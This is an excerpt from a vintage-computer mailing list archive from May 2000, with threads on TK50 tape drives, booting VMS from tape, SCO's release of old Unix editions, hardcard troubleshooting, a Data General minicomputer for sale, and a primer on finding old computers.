reassembled TK50, one sliced hand, a screwdriver with a broken tip, a spare black plastic part, three spare washers, a couple of spare screws and a spring. The tape is still in the drive, and I've managed to get all of the first tape into a box for convenient disposal at my leisure. Like I have leisure. Anyhow, I'd like to make you an offer: Free TK-50 tape drive, including install media in need of a manual rewind and a preloaded blank tape. Donatee must pay shipping and psychiatric admission fee. Includes spare parts[5]. WTB: One SCSI Qbus card. I am *not* going through this again. Especially because I took pictures of the aftermath of the first tape, and I'm going to post those near the VAX as a reminder. Let me know if anyone wants scans. Every single bad thing you've ever heard about any tape drive doesn't even begin to describe what the TK-50 is like. Exabyte 8200s have nothing on these things and never will. DEC was fucking up hardware design years before the advent of the 8200. I personally believe that the TK-50 is probably what nearly bankrupted DEC. The number of man-hours wasted in-house wrestling with these things alone is in the millions. It would have to be. I saw an RU-81A today. Now *there* is a sight. Appropriately in a junkyard. For those of you involved with BOFHnet, what do you think of a bofh.tdfh.tk50? This drive definitely has the FH aspect down. *sigh* Down, not across --Majdi [1] Currently hopelessly crippled due to a drive failure. [2] The problem is that DEC assumed that the VAX knew more about what was going on in this drive than the person feeding it ferrite. Boy did they guess wrong. [3] They *CANNOT* get any worse. [4] Which are opposed from each other. [5] You cannot disassemble one of these drives and not wind up with spare parts. They can't be anything important, because the drive has to work to suffer some performance degredation and they don't work, so there is nothing to degrade. -- Majdi Abbas I do not speak for my employer. "Damn, she looked a lot cuter in the bar..." -- Chris Rioux (He may be one of my coworkers, but he doesn't speak for them either) From pechter at pechter.dyndns.org Mon May 15 19:16:35 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:43 2005 Subject: SCO site has Unix for download In-Reply-To: <20000515190528.18684.qmail@web612.mail.yahoo.com> from Ethan Dicks at "May 15, 2000 12:05:28 pm" Message-ID: <200005160016.UAA01427@bg-tc-ppp748.monmouth.com> > > --- "Zane H. Healy" wrote: > > >SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V > > >available on their site for download... > > > Also, does anyone know if BSD 2.11 is going to be available? I suspect > > it's the one that I'd be most interested in. > > I'm interested in 2.11BSD as well as 2.9BSD - I have ancient 2.9BSD tapes > that I converted to container files and ran on my SPARC1 many years ago. > What I don't have is the source tape - mine developed a read error, and even > in the mid-90s, I wasn't able to extract from it. It's so old now that > I'm sure it's hopeless. > > -ethan > 2.x bsd is available on CD from the PUPS archive or on Kirk McKusick's CDROM set. However, they're working on the method to make those available, since they require a license and SCO's click-through web site is not giving out license numbers... Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From SUPRDAVE at aol.com Mon May 15 19:18:35 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:51:43 2005 Subject: stupid PC tricks Message-ID: In a message dated 5/15/00 7:54:58 PM Eastern Daylight Time, donm@cts.com writes: > On Mon, 15 May 2000, r. 'bear' stricklin wrote: > > > > > Ok, a year or so ago I rescued a Compaq Portable II. Not exactly in line > > with my normal interests, but the owner had the right personality and > > convinced me to do it anyway. > > > > One thing she told me she had always wanted to do but never managed to get > > done was install a hard card in the box, which as she bought it, had only > > two 5.25" floppy drives. > > > > Friday I picked up an 80 MB Plus HardCard at a local PC recycler's. It was > > sold as-is, but for $1 I figured I'd take a chance. > > > > I'm having problems with it, and the problems I'm having don't seem to > > indicate a real hardware problem, but I'm not too familiar with hardcards: > > > > * The Compaq setup utility recognizes it as a "type 11" disk, but > > conveniently neglects to tell me anything about what this actually > > means. Thinking of it now, I should RTFM and see if this information > > is listed in any of the dead-trees docs I got with the machine. > according to my hardcard20 manual, do not set up and entry for the hardcard in CMOS. there may be a jumper on the hardcard for either 1 or 2 depending on whether its the primary or second hard drive. there is a setup disk, but normally shouldnt be needed. I have a copy if needed. the book also says that it is not possible to LLF the hardcard. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From emu at ecubics.com Mon May 15 19:27:05 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? References: <4.1.20000515165734.044922c0@mailhost.hq.freegate.com> Message-ID: <031801bfbecd$776c90c0$5d01a8c0@p2350> ----- Original Message ----- From: Chuck McManis To: Sent: Monday, May 15, 2000 17:58 Subject: Re: Booting VMS 5.5 from tape? > Additional info. It eventually stopped with a "FILESTRUCT?" error. > Hmmm, perhaps the tapes are bad. > --Chuck The Original 5.5 tape ? Should be 2 of them. AFAIR, the boot tape is the second one. Cheers, emanuel From SUPRDAVE at aol.com Mon May 15 19:24:38 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <46.563c1f6.2651ef46@aol.com> In a message dated 5/15/00 5:49:14 PM Eastern Daylight Time, foo@siconic.com writes: > On Mon, 15 May 2000, Tom Owad wrote: > > > >Let Them Come to You > > > > > >One way to find vintage computers is to let them find you. > > >Try placing an ad in the classifieds section of your local > > >paper. Be sure to specify exactly what you are looking for > > >to avoid getting a flood of false leads. In the very least, > > >include a cut-off year indicating you are not interested in > > >any computers manufactured after that year. > > > > Anybody try this? What kind of response did you get? > > Not a newspaper ad, but posting a Usenet ad was quite possibly the best > thing I could've ever done. I posted several ads in the local for sale > newsgroups periodically over the course of several months and turned up > all sorts of good stuff. > what is an example of the usenet ad you post? i'm wondering how good an ad will work around here, however. someone posted on a local usenet group here asking for a C64. I eventually traded him one for a scsi drive for my PS/2 server. he said he had gotten some offers from people offering to sell their C64s, but they wanted $40 and insanely high prices. must have been ebay users. 8-< DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From emu at ecubics.com Mon May 15 19:38:45 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:43 2005 Subject: SCO site has Unix for download References: <200005160016.UAA01427@bg-tc-ppp748.monmouth.com> Message-ID: <035401bfbecf$18b86a70$5d01a8c0@p2350> From: Bill Pechter > 2.x bsd is available on CD from the PUPS archive or on Kirk McKusick's > CDROM set. > > However, they're working on the method to make those available, since > they require a license and SCO's click-through web site is not giving > out license numbers... Just got an e-mail from Warren Toomey, that it should work already !!! (for an hour, or so ;-)) cheers, emanuel From cmcmanis at mcmanis.com Mon May 15 19:40:07 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: References: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: <4.1.20000515173530.045cdce0@mailhost.hq.freegate.com> Interesting... Well, there isn't anything quite so nice as the documentation. :-) [even if it is for V5.2 which is not quite right for these tapes (5.5-2)] Turns out that if you have a VMS cartridge tape release (such as I do) you boot standalone backup from tape *2* not tape 1. (presumably its on tape one on 4.x tapes but on this tape its on tape 2) Of course I have to guess what the save set's name is, but using the DEC propensity for naming things VMS I guessed VMS0552.B (VMS 5.5-2 save set B). Perhaps when I come back tomorrow I'll know if I guessed right :-) --Chuck From ip500 at roanoke.infi.net Mon May 15 20:19:46 2000 From: ip500 at roanoke.infi.net (Craig Smith) Date: Sun Feb 27 18:51:43 2005 Subject: Trash or Treasure? Control Data PA5N1F drives Message-ID: <3920A232.8310B98C@roanoke.infi.net> Dragged [for real--these puppies are heavy] home a bunch of CDC 500 MB hard drives this morning. I rarely see any mention of Control Data here [or anywhere else for that matter]....any use or application for these things? They came out of an NCR mini system. Only managed to find one CPU unit [but did get ALL the print sets for both the CPU and the drives]. Interesting and maybe unusual, but what am I going to be able to do with them. Any and all info and/or pointers appreciated. Thanks, Craig From red at bears.org Mon May 15 20:34:04 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:51:43 2005 Subject: stupid PC tricks In-Reply-To: Message-ID: On Mon, 15 May 2000 SUPRDAVE@aol.com wrote: > according to my hardcard20 manual, do not set up and entry for the hardcard > in CMOS. there may be a jumper on the hardcard for either 1 or 2 depending on > whether its the primary or second hard drive. there is a setup disk, but > normally shouldnt be needed. I have a copy if needed. the book also says that > it is not possible to LLF the hardcard. All right. I undefined the disk in CMOS (which now believes there is no hard disk installed) but I'm having the same problem. FDISK hangs creating a new partition, just after it says "Drive capacity is 77 Mbytes" or the message to that effect. I checked out the jumpers on the unit, and they are set for IRQ 11, BIOS address C8000, I/O port 170, drive select 0. ok r. From SUPRDAVE at aol.com Mon May 15 21:17:57 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:51:43 2005 Subject: stupid PC tricks Message-ID: <2f.55052fe.265209d5@aol.com> In a message dated 5/15/00 9:39:41 PM Eastern Daylight Time, red@bears.org writes: > All right. > > I undefined the disk in CMOS (which now believes there is no hard disk > installed) but I'm having the same problem. FDISK hangs creating a new > partition, just after it says "Drive capacity is 77 Mbytes" or the message > to that effect. > > I checked out the jumpers on the unit, and they are set for IRQ 11, BIOS > address C8000, I/O port 170, drive select 0. using dos 5 or higher? (no 32meg partition limit with ver 5) try booting dos, run FDISK /MBR DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From vaxman at uswest.net Mon May 15 21:34:12 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: Hi Chuck, You have to boot the last tape (labeled standalone backup I believe), or any fairly recent standalone backup program will work. I have a 5.x I can send you if your tape is bad. clint On Mon, 15 May 2000, Chuck McManis wrote: > I finally found my VMS 5.5 TK50's today and thought I would try to install > VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing > B MUA0: > It reads and reads and reads ... > > Now I know TK50's are _really_ slow to boot (NetBSD takes about 5 minutes) > but is this the only thing going on? There isn't some boot flag I need to > give the tape to insure that it does the right thing is there? I keep > expecting to see the standalone backup prompt and I keep right on waiting.... > > --Chuck > > > From technoid at cheta.net Mon May 15 21:50:54 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:43 2005 Subject: stupid PC tricks In-Reply-To: Message-ID: <200005160251.WAA28767@lexington.ioa.net> Hard cards frequently have compatibility problems. The dos versions you are running won't handle partitions larger than 32mb IIRC. Try a later version of DOS. When I'm stuck for info I often go to DEJA and set it to search all of history for a given phrase. I frequently get my answer. An easy way to get a drive to work if you don't know anything about it's geometry is to use an overlay such as EZDrive. Overlays used to be a real bitch but are MUCH improved these days. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From mrdos at swbell.net Sun May 14 23:32:06 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:51:43 2005 Subject: Is this for real -- a new C64/128 Message-ID: <005a01bfbe26$88da3620$8b893cd8@compaq> Who owns the Commodore Trademark now? -----Original Message----- From: Sipke de Wal To: classiccmp@classiccmp.org Date: Monday, May 15, 2000 6:21 PM Subject: Re: Is this for real -- a new C64/128 >The Comodore Trademark has been sold and resold in Holland in the last six years >as far as I can tell both the Tulip and the Escom company have at least been >holder >of the trade mark and at least one of them payed no more than Fl 100,- (=$40,-) >I dont know if this applied only to a dutch (benelux) trademark or the worldwide >trademark. > >If the comodore company once again exists it is certainly not the same company >that gave us the VIC & the C64. > >My guess is that the trademark was for grabs once more and somebody >is trying to beat a few more bucks out of it. > >Branding a run off the mill clone with the comodore logo and supplying a >couple of emulators and a special keyboard with it, truely sounds like a hype in >the >making. It'll blow over pretty soon. > >Sipke de Wal > >> > The site looks raw enough to dissuade me from believing anything will come >> > out of this. And how is it going to benefit with having a 6502 onboard as >> > claimed if there will also be a 200-500Mhz processor, and everything else >> > indicates emulation? It's obvious this will simply be a PC, and putting >> > together a machine with the specs this one will supposedly have requires >> > some expensive engineering. >> > >> > Look lower on their page, where they advertise the C= PC. I think that >> > tells us what they truly are trying to sell. The "Next Generation C64" is >> > just hype to suck you in. > > From macieks at pzl-okecie.com.pl Mon May 15 23:42:52 2000 From: macieks at pzl-okecie.com.pl (Maciej S Szymanski) Date: Sun Feb 27 18:51:43 2005 Subject: Network adapters mystery Message-ID: <3920D1CC.C6918C1@pzl-okecie.com.pl> I've got my VAXstation and PC/Linux box connected via ethernet and TCP/IP at last ! And offcourse the problems I had - were on the PC side... VMS config was OK since first time :) But there was one mystery: The network not worked with Compex NE2000 clone adapter. When I replaced it with Compex ENET16/U adapter configured as NE2000 everything is OK... does anybody has any idea ? (I'm sure that first adapter was good, I've tested it) Was there any changes in ethernet specification that could make that new (1996 - second adapter was 1992) adapter incompatible with VAXstation ? And by the way - I got offer of "microVAX 3600 in 3500 case" I have no idea what it may mean - could it be 3600 put in small 3500 cabinet ? Is it possible ? (the offer is interesting anyway - its 3600 running VMS 5.5 + DECserver 200 + DELNI +4 VT320 + VT340 for free - I'm thinking where to put the stuff...) Maciek Szymanski From technoid at cheta.net Mon May 15 23:44:48 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:43 2005 Subject: FS: Data General MV4000DC Minicomputer In-Reply-To: <002601bfbeb7$04ed33d0$0201640a@colossus> Message-ID: <200005160514.BAA18714@lexington.ioa.net> I've gotten all the fun I can have out of the machine and would like to know if anyone here is interested before I go to an Auction site. System specs: Data General MV4000DC Minicomputer in deskside chassis on casters. 16 line terminal controller board installed with another included at no extra charge. The slot this would go in is occupied by the tape drive controller. 6125 20mb 9track reel-to-reel tape drive 6311 20mb DC-series cartridge tape drive 120mb and 70mb internal hard disk drives 8mb ram (system is maxed) AOS/VS II version 3.00 and TCP/IP software original media ( 9 track ) included and preinstalled on the system. IPL disks (Microcode and MIOC microcode) Also included are complete, easy to restore backups of my fully configured and networked system on cart and reel tapes. You don't absolutely need them but the terminals would be nice and four will be included in the system price. One has a broken keyboard. The system will support up to 32 physical dumb terminals (DG2xx and VTxxx) and up to 220 virtual terminals (vt100) via telnet. The console terminal is a near must though you could substitute a PC for the console with some warts. Shipping is the only issue. Integrated lan interface with ethernet transceiver included (AUI to BNC) All operating system and hardware docs are included. It's a stack of binders at least a meter high and includes foldout hardware sheets, error codes, installation info, the works. This is the only 32bit, fully featured DG Eclipse machine of it's type in private hands that I am aware of. It will run any MV compatible expansion available including expansion chassis for more 15" cards though I doubt you will need more cards. It is the only fully featured DG MV series machine that is reasonable to put in your living room and still have living room. The only non-original part is a 7404 IC on the ram card I replaced in order to make the machine operate. I warrant the machine to be free from material defects for 90 days from the date of purchase. Included are a spare 8mb ram card (non functional but repairable), a spare 2mb ram card in working order, a spare 6125 tape controller card, and a couple of other cards including a synchronous serial card for x25 networking. I will be happy to help you ship the machine with packaging and brokering a good trucking company so the machine arrives intact. The 6311 tape unit is in it's own 'toaster' enclosure. The 6125 tape drive is a 19" rack mount enclosure without the 19" rack... All devices are very well tested and guaranteed to operate. Online tours of the machine can be easily arranged via telnet. Dimensions are approximate: MV4000DC computer: 1 meter high by .3 meters wide by 1.2 meters deep. About 40 kilos in weight. 6125 tape drive: 19 inches wide by 19" deep by 12 inches high. About 10 kilos in weight. 6123 tape unit: About the same size, weight, and general dimension as a tallish four slice toaster. Each terminal is Appx 10 kilos with keyboard. Appearance issues: Terminals are in good working order and reasonably clean. Computer is in good working order, clean and relatively unmarred by it's time in service. The only marrs are a bit of adhesive residue from stickers. Casters are plastic and are disintegrating though not yet in need of replacement - it rolls smoothly. I would guess shipping to California at about $500.00 for the whole package though I have no basis for my estimate other than a gut feeling.... Asking price: $1200.00 Regards, Jeff -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From jolminkh at nsw.bigpond.net.au Tue May 16 04:58:31 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <003801bfbf1d$4b4c1f60$dadf8490@tp.nsw.bigpond.net.au> . > Comments please! . . Good stuff Sellam. Some comments: I think you under emphasise the garbage system. I have a PDP8L that came from a dumpster at a university. Here in Australia we also have "Council Cleanups" where periodically the local municipal councils pick up assorted larger rubbish if it is left by the side of the road on a predetermined Monday a few times a year. The result is lots of pickings during the preceding weekend. Unfortunately one needs to cruise around all day as the good looking stuff goes very quickly. In some places there are also "tip shops" where authorised scroungers (often charities) sell goods collected from a garbage tip (or "dump" in American). Around here we have establishments with names like Junktastic Park and Reverse Garbage. Do we want to mention the term Dumpster Diving in a primer? Hans From foxvideo at wincom.net Tue May 16 06:59:17 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <200005152049.NAA19044@scaup.prod.itd.earthlink.net> Message-ID: <3.0.5.32.20000516075917.007bfe50@mail.wincom.net> At 04:47 PM 5/15/2000 -0400, you wrote: >>Let Them Come to You >> >>One way to find vintage computers is to let them find you. >>Try placing an ad in the classifieds section of your local >>paper. Be sure to specify exactly what you are looking for >>to avoid getting a flood of false leads. In the very least, >>include a cut-off year indicating you are not interested in >>any computers manufactured after that year. > >Anybody try this? What kind of response did you get? > >Tom Owad > >------------------------------Applefritter------------------------------ >Apple Prototypes, Clones, & Hacks - The obscure, unusual, & exceptional. >------------------------------------------ > > Three years ago I placed a small ad in our weekly shopping guide and turned up about a hundred old computers of various types. After several months I discontinued the ad because I was running out of space, the computers were becoming of less interesting types, and although about 50 percent were no charge, the remainder were taking too big a bite out of my old age pension. The effects are still lingering on, however, for this year I have received several, including one Rainbow and a couple of Apple ][E's. Cheers Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From rhudson at ix.netcom.com Tue May 16 08:14:18 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:51:43 2005 Subject: falling ot, was C64.... References: <003201bfbe87$96d272e0$0400c0a8@winbook> Message-ID: <392149A9.194BFE35@ix.netcom.com> Richard Erlacher wrote: > ... it makes me shudder to think there may be a > time, soon, when we have to buy software by the drink, downloading it each > time from the net and for a fee, as the Oracle folks would like us to do. Also all you "data" stored on who's disks? With what kind of agreement not to share it with others? I bet some direct marketing firms would love to get our quicken files to see whe se spend our mony on. No security without physical security. From ckaiser at oa.ptloma.edu Tue May 16 09:30:08 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:43 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <005a01bfbe26$88da3620$8b893cd8@compaq> from Owen Robertson at "May 14, 0 11:32:06 pm" Message-ID: <200005161430.HAA11176@oa.ptloma.edu> ::Who owns the Commodore Trademark now? Tulip, still, but it's not being actively enforced, obviously. As for the actual *patents*, they are owned lock, stock and barrel by Gateway (both Amiga and 8-bit properties). The new "Amiga" corporation only has a license, not the actual rights. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Work harder! Millions on welfare depend on you! ---------------------------- From mmcfadden at cmh.edu Tue May 16 10:01:14 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Classic Computers Message-ID: Word of mouth seems to be my best source of "valuable" computer hardware/software. Everyone at the hospital knows that I collect old computers, the lab has given me old DEC terminals and printers if I haul away all of the stuff. I also ended up with a MicroVAX 2000 with 2 RD54's if I promised to erase all of the clinical data. I happen to live in a small community, 1800 people, on the edge of a major metropolitan area. Everyone in town knows I go to the computer place at least once a week, I always volunteer to take anything anyone wants to send. Our community has a cleanup day every other year, it's amazing what shows up in the dumpster. I have arranged to take all of the computer/electronic stuff to the local computer recycling/surplus center instead of it going into the trash. I also volunteer computer support for the homeowners group. The fire department was glad to receive industrial strength printer, printer stand, and paper. OT: My best recovery was a 25" Toshiba TV that turned out to have a broken power cord. It has one ding where it hit the dumpster edge on the way in. Someone else had a remote for this same model, their TV fell off the counter. Now I have a complete unit for $0. Several times I have gone to garage sales when they are ending and offered to haul off the electronic/computer stuff left on the curb for the trash truck. My wife has been startled when I have stopped while driving down the street and picked up a few choice items. My wife tolerates this hobby because it doesn't cost much, I can fix our computer, and I'm not out gambling at the Riverboats. Drawbacks are that she and the kids don't understand why I want to use a MicroVAX 2000, can't open the car doors on one side because of the AT&T 3B2's and wonder about by Nicolet Zeta 36" plotter that used to live in the rec room. I also don't have many computers that are intact all the time, most seem to be fluctuating between troubleshooting and testing. My next goal is a neighbor who owns some storage lockers, maybe there will be "gold in them thar dumpsters". I once tried to "kick the habit". The 12 step process was two difficult, I threw out lots of stuff and then by the time I got to the wall of the garage I was hooked again. I hauled it all back in and hid it from my wife. Covert collecting is tough. Mike vintage computer addict. From foo at siconic.com Tue May 16 09:19:24 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <003801bfbf1d$4b4c1f60$dadf8490@tp.nsw.bigpond.net.au> Message-ID: On Tue, 16 May 2000, Olminkhof wrote: > I think you under emphasise the garbage system. I have a PDP8L that came > from a dumpster at a university. Those can be good sources, sure, but the problem is the sporadic nature of trash. Unless you want to make a practice of checking the dumpsters at businesses and colleges regularly. I wouldn't want to do that, but I guess it wouldn't hurt mentioning it. > Here in Australia we also have "Council Cleanups" where periodically the > local municipal councils pick up assorted larger rubbish if it is left by > the side of the road on a predetermined Monday a few times a year. The > result is lots of pickings during the preceding weekend. Unfortunately one > needs to cruise around all day as the good looking stuff goes very quickly. Depending on the area they have those in the States as well. Worth mentioning. > In some places there are also "tip shops" where authorised scroungers (often > charities) sell goods collected from a garbage tip (or "dump" in American). > Around here we have establishments with names like Junktastic Park and > Reverse Garbage. Weird. Do any computers ever come out of shops like these? > Do we want to mention the term Dumpster Diving in a primer? Why not? I'll add a new section just on Dumpster Diving :) From mrbill at mrbill.net Tue May 16 10:30:44 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Classic Computers In-Reply-To: ; from mmcfadden@cmh.edu on Tue, May 16, 2000 at 10:01:14AM -0500 References: Message-ID: <20000516103044.E1497@mrbill.net> On Tue, May 16, 2000 at 10:01:14AM -0500, McFadden, Mike wrote: > I once tried to "kick the habit". The 12 step process was two difficult, I > threw out lots of stuff and then by the time I got to the wall of the garage > I was hooked again. I hauled it all back in and hid it from my wife. > Covert collecting is tough. > Mike > vintage computer addict. I bought my first home a year ago. For me, the kicker for this house was that it has a 2 car garage - but its completely paneled, carpeted, etc, and made up as a big den / rec room. I walked in and thought "woah, room for all my computer stuff" So, I made a deal with the SO. All the "crappy" stuff goes in there, and all the "good" stuff (our modern PCs, any collection that I'm currently working on) goes into the "computer room" - a converted bedroom. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From george at racsys.rt.rain.com Tue May 16 10:54:10 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Classic Computers In-Reply-To: <20000516103044.E1497@mrbill.net> Message-ID: The subject is morphing to Storing Classic computers. Just bought a new house because we exceeded the capacity of our 2800 sq. ft. home. New house is actually smaller but sits on a little community airstrip and has a hanger. Nope ... Don't yet have an airplane yet but now it looks like I'll have some real room to get the collection organized. Look for Orphans (Items that don't fit my collection) to be offered here over the next couple of years. http://www.rdrop.com/users/george/bagley/bagley.htm Look also for me to catalog my collection and get it displayed eventually on my web site. George Rachor george@racsys.rt.rain.com ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Tue, 16 May 2000, Bill Bradford wrote: > On Tue, May 16, 2000 at 10:01:14AM -0500, McFadden, Mike wrote: > > I once tried to "kick the habit". The 12 step process was two difficult, I > > threw out lots of stuff and then by the time I got to the wall of the garage > > I was hooked again. I hauled it all back in and hid it from my wife. > > Covert collecting is tough. > > Mike > > vintage computer addict. > > I bought my first home a year ago. For me, the kicker for this house was > that it has a 2 car garage - but its completely paneled, carpeted, etc, and > made up as a big den / rec room. > > I walked in and thought "woah, room for all my computer stuff" > > So, I made a deal with the SO. All the "crappy" stuff goes in there, and > all the "good" stuff (our modern PCs, any collection that I'm currently working > on) goes into the "computer room" - a converted bedroom. > > Bill > > -- > +--------------------+-------------------+ > | Bill Bradford | Austin, Texas | > +--------------------+-------------------+ > | mrbill@sunhelp.org | mrbill@mrbill.net | > +--------------------+-------------------+ > From mikeford at socal.rr.com Tue May 16 14:40:21 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Classic Computers In-Reply-To: Message-ID: >I once tried to "kick the habit". The 12 step process was two difficult, I >threw out lots of stuff and then by the time I got to the wall of the garage >I was hooked again. I hauled it all back in and hid it from my wife. >Covert collecting is tough. Think false ceiling and walls, makes the house a bit smaller, but you just tell the wife its "insulation". From allisonp at world.std.com Tue May 16 15:09:32 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Classic Computers In-Reply-To: Message-ID: > New house is actually smaller but sits on a little community airstrip and > has a hanger. Nope ... Don't yet have an airplane yet but now it looks > like I'll have some real room to get the collection organized. Look for > Orphans (Items that don't fit my collection) to be offered here over the > next couple of years. No plane???? Heavens, oh my!!! Two things I don't give up, my Cessna and some of my old machines than have followed me through 5 moves. A hanger... Even tiwht a cessna thats a lot of room left for a small 11/780... ;) In the mean time the computers have some storage in the garage and the 150sqft bedroom reserved for them. Allison From mrdos at swbell.net Mon May 15 15:36:59 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:51:43 2005 Subject: Sperry Univac Minicomputer Message-ID: <001101bfbead$53370e80$92893cd8@compaq> Does anyone know anything about the UNIVAC minicomputer(s)? I didn't know there was such a thing as a UNIVAC minicomputer, until I came across a picture of one in a book the other day. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000515/db74a0f1/attachment.html From pat at transarc.ibm.com Tue May 16 16:06:21 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:51:43 2005 Subject: Sperry Univac Minicomputer In-Reply-To: <001101bfbead$53370e80$92893cd8@compaq> Message-ID: On Mon, 15 May 2000, Owen Robertson wrote: > Does anyone know anything about the UNIVAC minicomputer(s)? I didn't > know there was such a thing as a UNIVAC minicomputer, until I came > across a picture of one in a book the other day. What did it look like? The only UNIVAC's I'd ever gotten to see that could be described as "minicomputers" were both special-purpose machines: The "SSP", which was used as the front-end/maintenance processor for the 1100 mainframe, and the DCP, which was a communications processor used to support "demand processing" (a/k/a, interactive timesharing) and transaction processing applications on the 1100. I'd be curious to know what others there might be. --Pat. From hofmanwb at worldonline.nl Wed May 17 00:32:08 2000 From: hofmanwb at worldonline.nl (W.B.(Wim) Hofman) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? Message-ID: <20000516211703.29F5636B36@rhea.worldonline.nl> quite nice isn't it ---------- > From: r. 'bear' stricklin > To: Classic Computers > Subject: Re: Booting VMS 5.5 from tape? > Date: Monday, May 15, 2000 4:59 PM > > On Mon, 15 May 2000, Chuck McManis wrote: > > > I finally found my VMS 5.5 TK50's today and thought I would try to install > > VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing > > B MUA0: > > It reads and reads and reads ... > > Bwahahah.. forgive the repost, but it had to be done. Just as a warning, > though, the article contains some strong language which may cause your > wallpaper to peel just a little. > > ok > r. > > > From: mabbas@staff.uiuc.edu (Majdi Abbas) > Newsgroups: alt.sysadmin.recovery > Subject: Exabyte whiners and real tape drives (tape drive dick length) > Date: 7 May 1997 00:09:35 GMT > Organization: University of Illinois at Urbana > Lines: 161 > Approved: tk50@godless.org > Message-ID: > Reply-To: mabbas@uiuc.edu > NNTP-Posting-Host: ux1.cso.uiuc.edu > Summary: TK50s blow. > Keywords: TK50 masochism > X-Newsreader: slrn (0.9.2.1 BETA UNIX) > Status: RO > X-Status: A > > So here I am, sitting with *bootable* install media for my VAX[1]. > > The catch: It's on TK-50 tape. *One* TK-50 tape. Which means I've > got one shot, and only a 33% chance to make it close enough to even get that > shot. That's on a good day. Today is a Monday. > > What follows is *not* useful information. If you have one of these, > or have to work with one of these, you're too far gone to be recovering, and > this isn't going to help you any. May the God of DEC have mercy on your soul. > > Oh, and before I get going, those of you who whine about Exabyte > drives not ejecting tapes have no concept of a TK50. TK50's *do not* eject > tapes. You have to arm-wrestle the drive for the tape most of the time, and > even if you're lucky it's a manual eject[2]. > > Before you can eject the tape, the VAX has to think it's done with the > tape. This is a pretty simple concept, if it worked. The TK50s were not in > production very long, and for good reason. Rumor has it their replacements > are better.[3] > > I'm going to describe the operation of a TK-50, ignoring some of the > things that go along with booting a VAX. If you know them, I'm sorry, if > you don't, well, consider yourself extremely lucky. > > 1) Wait for green light. > 2) Pull drive flap up. > 3) Stick tape in, right side first or it won't fit. > 4) Coerce tape into fitting into 